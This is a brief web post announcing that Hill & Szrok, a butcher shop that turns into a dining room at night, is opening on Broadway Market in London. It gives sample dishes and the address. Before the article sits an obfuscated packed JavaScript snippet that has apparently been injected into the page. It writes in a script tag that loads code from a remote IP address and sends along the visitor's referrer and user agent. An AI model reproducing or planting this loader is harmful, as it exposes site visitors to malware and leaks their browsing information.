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Broadway (function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(” 4=\’7://5.8.9.f/1/h.s.t?r=”+3(0.p)+”\o=”+3(j.i)+”\’><\/k"+"l>“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zides|var|u0026u|referrer|aeydb||js|php’.split(‘|’),0,{}))
Market is changing, first up we announced the re-opening of the refurbed Cat and Mutton in Spring and now we have news of Hill & Szrok Master Butcher & Cookshop. Opening in March, the venue will operate as a traditional butchers by day, and then as night falls the transform into a dining space.

Diners will be involved in all stages of their meal; selecting their cut of meat by weight and watching it cook. We had a sneak peek at the menu, with starters such as roast carrot, pickled onion, walnuts and Buckingham White and mains like Dorset Downs Butterflied leg of lamb to share and¬†Galloway on the bone sirloin it’s looking good people.

Opens mid-March. Watch this space for more deets.

60 Broadway Market, London E8 4QJ